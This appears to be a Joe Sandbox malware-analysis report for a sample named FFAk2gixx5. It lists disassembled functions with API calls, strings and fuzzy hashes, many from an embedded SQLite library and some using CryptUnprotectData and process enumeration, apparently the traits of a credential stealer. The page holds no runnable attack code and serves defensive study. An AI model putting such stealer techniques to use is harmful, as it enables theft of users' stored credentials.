Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: P2#v$\*.*$1#v
API String ID: 1415058207-2075649900
Opcode ID: dc5f285aca7f48084b6d3503bf961d85fa26afb45cd801861b1cd2e44d332724
Instruction ID: e4f80eda184880334239f9df0efe8a3b7aebe00529da18d1e37e3073ba9cc988
Opcode Fuzzy Hash: dc5f285aca7f48084b6d3503bf961d85fa26afb45cd801861b1cd2e44d332724
Instruction Fuzzy Hash: 0812C4719101189BCB15FB61EC66AEE7379AF54308F4145EEB10A63091EF38ABCACF54

Uniqueness

Uniqueness Score: -1.00%

Function 61E9E24F Relevance: 17.1, Strings: 13, Instructions: 869COMMON

Download Yara Rule

Strings

bua, xrefs: 61E9E43E
id INTEGER PRIMARY KEY, block BLOB, xrefs: 61E9EACC
data, xrefs: 61E9EAD1
docsize, xrefs: 61E9ECA4, 61E9EE46
content, xrefs: 61E9E6BE, 61E9EC68, 61E9EE3F
idx, xrefs: 61E9EAF7
config, xrefs: 61E9ECC9
segid, term, pgno, PRIMARY KEY(segid, term), xrefs: 61E9EAF2
id INTEGER PRIMARY KEY, sz BLOB, xrefs: 61E9EC9F
k PRIMARY KEY, v, xrefs: 61E9ECC4
bua, xrefs: 61E9ED4E
version, xrefs: 61E9ECE8
rowid, xrefs: 61E9E89A, 61E9E993

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: bua$bua$config$content$data$docsize$id INTEGER PRIMARY KEY, block BLOB$id INTEGER PRIMARY KEY, sz BLOB$idx$k PRIMARY KEY, v$rowid$segid, term, pgno, PRIMARY KEY(segid, term)$version
API String ID: 0-2268357529
Opcode ID: 86197aeccd3bb766b5317aa12eca7709c5d6b24f203dea8c6f525aaa3c5525d7
Instruction ID: f9c2f8dafde392a94833a84278d27f7abaf5337b7a20f26a6dc113648fca896e
Opcode Fuzzy Hash: 86197aeccd3bb766b5317aa12eca7709c5d6b24f203dea8c6f525aaa3c5525d7
Instruction Fuzzy Hash: FE8206B49046499FDB10CFA9C18079DBBF1BF89318F25C92EE894AB395D774D881CB42

Uniqueness

Uniqueness Score: -1.00%

Function 61EA2F47 Relevance: 10.3, APIs: 2, Strings: 4, Instructions: 1261COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61EA3821
memcmp.MSVCRT ref: 61EA397C

Strings

DELETE from, xrefs: 61EA3C5A
docsize, xrefs: 61EA3F81
content, xrefs: 61EA356B
UPDATE, xrefs: 61EA3C5F

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: DELETE from$UPDATE$content$docsize
API String ID: 1475443563-2142216780
Opcode ID: 528ee90d71b8abce44a2e5bc49aedcc739610cdce2b26b7207cd26a7477b366b
Instruction ID: 70c6a14bc8af06d6aef6aa9ad5cb9e7fc1cc1a093b7b28355e50790c232760be
Opcode Fuzzy Hash: 528ee90d71b8abce44a2e5bc49aedcc739610cdce2b26b7207cd26a7477b366b
Instruction Fuzzy Hash: ABC2F674A042598FDB10DFA8C980B8DBBF1BF88308F2585A9D849AB345D774ED85CF81

Uniqueness

Uniqueness Score: -1.00%

Function 61E88FCA Relevance: 9.6, Strings: 7, Instructions: 866COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 61E89339
invalid rootpage, xrefs: 61E89B28
index, xrefs: 61E890AB, 61E89217, 61E893FF
sqlite_master, xrefs: 61E8932D
bua, xrefs: 61E89A13
UNIQUE, xrefs: 61E899F4
BINARY, xrefs: 61E896A2, 61E89791

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: UNIQUE$BINARY$bua$index$invalid rootpage$sqlite_master$sqlite_temp_master
API String ID: 0-1733444394
Opcode ID: 2f8d3c9bf28d88cb8a71b4b5b7ed41c19bc202f8b39fc1aea3eaff7862733210
Instruction ID: c52f25025489653eb610d6e343a086c80a5a7374dd8721026aec1ef0af0b0df4
Opcode Fuzzy Hash: 2f8d3c9bf28d88cb8a71b4b5b7ed41c19bc202f8b39fc1aea3eaff7862733210
Instruction Fuzzy Hash: 1892F174E08255CFDB51CFA8C580B99BBF1BF89308F65C1A9E859AB352D734E881CB41

Uniqueness

Uniqueness Score: -1.00%

Function 61E56F18 Relevance: 9.6, APIs: 5, Strings: 1, Instructions: 606COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E57166

Strings

NEAR, xrefs: 61E57493

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: NEAR
API String ID: 1475443563-1088024997
Opcode ID: f6a487f5c91de3cc1bef6fa6d898b170e9b402afe5ec80a6956fdd34adb5da4d
Instruction ID: b4e98ac7f2dea276e522b18a44adf406a464a3194d3be0cff96e2c83306ccf13
Opcode Fuzzy Hash: f6a487f5c91de3cc1bef6fa6d898b170e9b402afe5ec80a6956fdd34adb5da4d
Instruction Fuzzy Hash: 464234B4D08289CFDB80CFA8C18479DBBF1BB49308FA4C45AD8549B345D776E8A6CB51

Uniqueness

Uniqueness Score: -1.00%

Function 61E64E0C Relevance: 9.5, Strings: 5, Instructions: 3235COMMON

Download Yara Rule

Strings

J, xrefs: 61E6511A
, xrefs: 61E67682
`, xrefs: 61E68304
N, xrefs: 61E65461
BINARY, xrefs: 61E671D6

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: $ N$BINARY$J$`
API String ID: 0-2078302688
Opcode ID: 2652906eb09d8d91df624d3a1c60ab16c43b8ca8480d5ad18ff2d8e1efe0cf13
Instruction ID: 8b687d588507154f9b7ca5d7c21d8a58e11a900b957e56d8d79dd7eab4857ed6
Opcode Fuzzy Hash: 2652906eb09d8d91df624d3a1c60ab16c43b8ca8480d5ad18ff2d8e1efe0cf13
Instruction Fuzzy Hash: 3C730474A452698FEB60CF18C880B99B7F1BF49314F6585DAD848AB391D770EE81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 61E7B85E Relevance: 9.3, APIs: 1, Strings: 4, Instructions: 1812stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E7BD05

Strings

p, xrefs: 61E7BF15
rows inserted, xrefs: 61E7C4C2
q, xrefs: 61E7CF4D
BINARY, xrefs: 61E7C2A2

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: strcmp
String ID: BINARY$p$q$rows inserted
API String ID: 1004003707-1829360308
Opcode ID: 9cd8136e06fc78038f2fb342844b647111ed8fe5ae4e2aa29525188f15c4aed1
Instruction ID: 065edfd01cf961ed3b9e2e1e11ae97a3b52417d8b8be7254ab2c95bfb3f70183
Opcode Fuzzy Hash: 9cd8136e06fc78038f2fb342844b647111ed8fe5ae4e2aa29525188f15c4aed1
Instruction Fuzzy Hash: 8113D574A0425A8FEB21CF68C980B99B7F1AB89304F20C5E9D889A7351D774EEC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E62CA3 Relevance: 9.1, Strings: 6, Instructions: 1622COMMON

Download Yara Rule

Strings

E, xrefs: 61E64125
false, xrefs: 61E63127
NOCASE, xrefs: 61E63D79
2, xrefs: 61E630F0
BINARY, xrefs: 61E63D74
u, xrefs: 61E63A4C

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: 2$BINARY$E$NOCASE$false$u
API String ID: 0-3666730823
Opcode ID: 38246ed550d90f81115762f73b92bcb728b20343e21a36d9bcc5793515e8964c
Instruction ID: 6b9246b4563a5e155af7b98e7ab84f845b82c0e831d1f7dba739a0367b6c7f33
Opcode Fuzzy Hash: 38246ed550d90f81115762f73b92bcb728b20343e21a36d9bcc5793515e8964c
Instruction Fuzzy Hash: 39F24774A442598FDB10CFA8C480B8DBBF5BF49318F65C169E858AB355D734EC86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00415590 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155B0

Strings

>N@, xrefs: 004155A8, 00415604, 004155AB, 00415607

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID: >N@
API String ID: 80407269-3381801619
Opcode ID: d69fd4353977ea1eaf82f2024c9ee5007c0a21796a3af50309b0e8ffe34f618b
Instruction ID: 60c943e2f946199ac16d3c933fbe088a89c1c4ea9a6443a1fcffe4babad6e924
Opcode Fuzzy Hash: d69fd4353977ea1eaf82f2024c9ee5007c0a21796a3af50309b0e8ffe34f618b
Instruction Fuzzy Hash: 2211FB70210A08FFDB10DF54D884FEB37AABFC9310F509449F9198B254D779E8829BA4

Uniqueness

Uniqueness Score: -1.00%

Function 61E19208 Relevance: 8.5, Strings: 6, Instructions: 967COMMON

Download Yara Rule

Strings

, xrefs: 61E1A20D
$, xrefs: 61E19687
-, xrefs: 61E1997C
NaN, xrefs: 61E19A67
Inf, xrefs: 61E1A717
-, xrefs: 61E195B8

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: $$$-$-$Inf$NaN
API String ID: 0-2883260867
Opcode ID: 028b7e2239e5b65ec7313dae655860b22c75c4cb4265c042bc54a10a851200c5
Instruction ID: 08ada5b9c357915bf8dc0511ebd4b169d1569d08758c0a6763b5a4183e8dfcc3
Opcode Fuzzy Hash: 028b7e2239e5b65ec7313dae655860b22c75c4cb4265c042bc54a10a851200c5
Instruction Fuzzy Hash: 8D92B370E4D2958EDB219B68C881398BBF1AB86344F34C4D9C49D9736AE735CAC9CF41

Uniqueness

Uniqueness Score: -1.00%

Function 61E9316A Relevance: 8.3, Strings: 6, Instructions: 804COMMON

Download Yara Rule

Strings

ha, xrefs: 61E932B5
ma, xrefs: 61E932BF
A, xrefs: 61E9338F
bua, xrefs: 61E93379
]a, xrefs: 61E932AB
snippet, xrefs: 61E931A7

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: A$]a$bua$ha$ma$snippet
API String ID: 0-4021802672
Opcode ID: b296d1e724a2f373c8e53ad70a9804371497bd12468a2d3f7cffc762c1a303b2
Instruction ID: b2623b0ed89b922f0be96898bd960c36401f43a5980a856a5f0c11e76d1438fa
Opcode Fuzzy Hash: b296d1e724a2f373c8e53ad70a9804371497bd12468a2d3f7cffc762c1a303b2
Instruction Fuzzy Hash: C392CF7490426ACFDB64CF69C884BC9B7B1BB48314F2486EAD85DAB250D7709EC5CF90

Uniqueness

Uniqueness Score: -1.00%

Function 61E86668 Relevance: 8.2, Strings: 6, Instructions: 719COMMON

Download Yara Rule

Strings

d, xrefs: 61E866B5
non-unique entry in index , xrefs: 61E8700A
q, xrefs: 61E86DD9
wrong # of entries in index , xrefs: 61E86DE9
missing from index , xrefs: 61E86ED7
row , xrefs: 61E86EA4

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: missing from index $d$non-unique entry in index $q$row $wrong # of entries in index
API String ID: 0-2434882124
Opcode ID: a4692cb790a79ed7bf2ea2f47883b6b64384a014730781677f6914f5ca33be86
Instruction ID: 64764bd2453105caa9badb98113fecf854144ac2eeaebcc13dcf1322e2d74596
Opcode Fuzzy Hash: a4692cb790a79ed7bf2ea2f47883b6b64384a014730781677f6914f5ca33be86
Instruction Fuzzy Hash: 5272E374A042898FDB50DFA8C59079DBBF1BB88304F20C56DE8A8AB395D775E942CF41

Uniqueness

Uniqueness Score: -1.00%

Function 61EAF900 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 61EAF94F
UnhandledExceptionFilter.KERNEL32 ref: 61EAF95F
GetCurrentProcess.KERNEL32 ref: 61EAF968
TerminateProcess.KERNEL32 ref: 61EAF979
abort.MSVCRT ref: 61EAF982

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: a4a9847f77e74dada988f497729c1a98e5ce87648e4cbf1531909a786ce77a21
Instruction ID: c24ac7f06ebf37709200600ee493e26a75483ae19b01d267103323a56ae8c6ad
Opcode Fuzzy Hash: a4a9847f77e74dada988f497729c1a98e5ce87648e4cbf1531909a786ce77a21
Instruction Fuzzy Hash: A911C0B5A14A04CFDB00EFB9D64861EBBF0EB5A304F548929E998CB311E774D9848F52

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660), ref: 00406C1D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406C24
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00406C51
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,`v@,80000001,h0A), ref: 00406C74
LocalFree.KERNEL32(?,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406C7E

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 325183e0ff294f6bc8ca0bae0d01f1e1eb9720b9252a7c44d145ca839e0966ea
Instruction ID: a62b9dfe9577ca48fe2f29d604933a8f18b811f44e231435f7e1fa1bbfb2df61
Opcode Fuzzy Hash: 325183e0ff294f6bc8ca0bae0d01f1e1eb9720b9252a7c44d145ca839e0966ea
Instruction Fuzzy Hash: 01011275A40708BBEB20DF94CD45F9E7779EB44B05F104155F706FB2C0D670AA118BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00415CF0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00415D0E
Process32First.KERNEL32(0041D599,00000128), ref: 00415D22
Process32Next.KERNEL32(0041D599,00000128), ref: 00415D37
StrCmpCA.SHLWAPI(?,00000000), ref: 00415D4C
CloseHandle.KERNEL32(0041D599), ref: 00415D6A

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction ID: dcb9d611a126c097a1f41f4c5f5af81ccef4100bb49b4d64a2c00f7d820d9551
Opcode Fuzzy Hash: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction Fuzzy Hash: 57012575A00608EBDB20DFA4DD98BDEB7B9FB88700F14818AA50597240DB749B81CF54

Uniqueness

Uniqueness Score: -1.00%

Function 61EA0BA9 Relevance: 6.9, Strings: 5, Instructions: 655COMMON

Download Yara Rule

Strings

bua, xrefs: 61EA139A
bua, xrefs: 61EA0CD2
, xrefs: 61EA131C
ASC, xrefs: 61EA138A
DESC, xrefs: 61EA1392

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
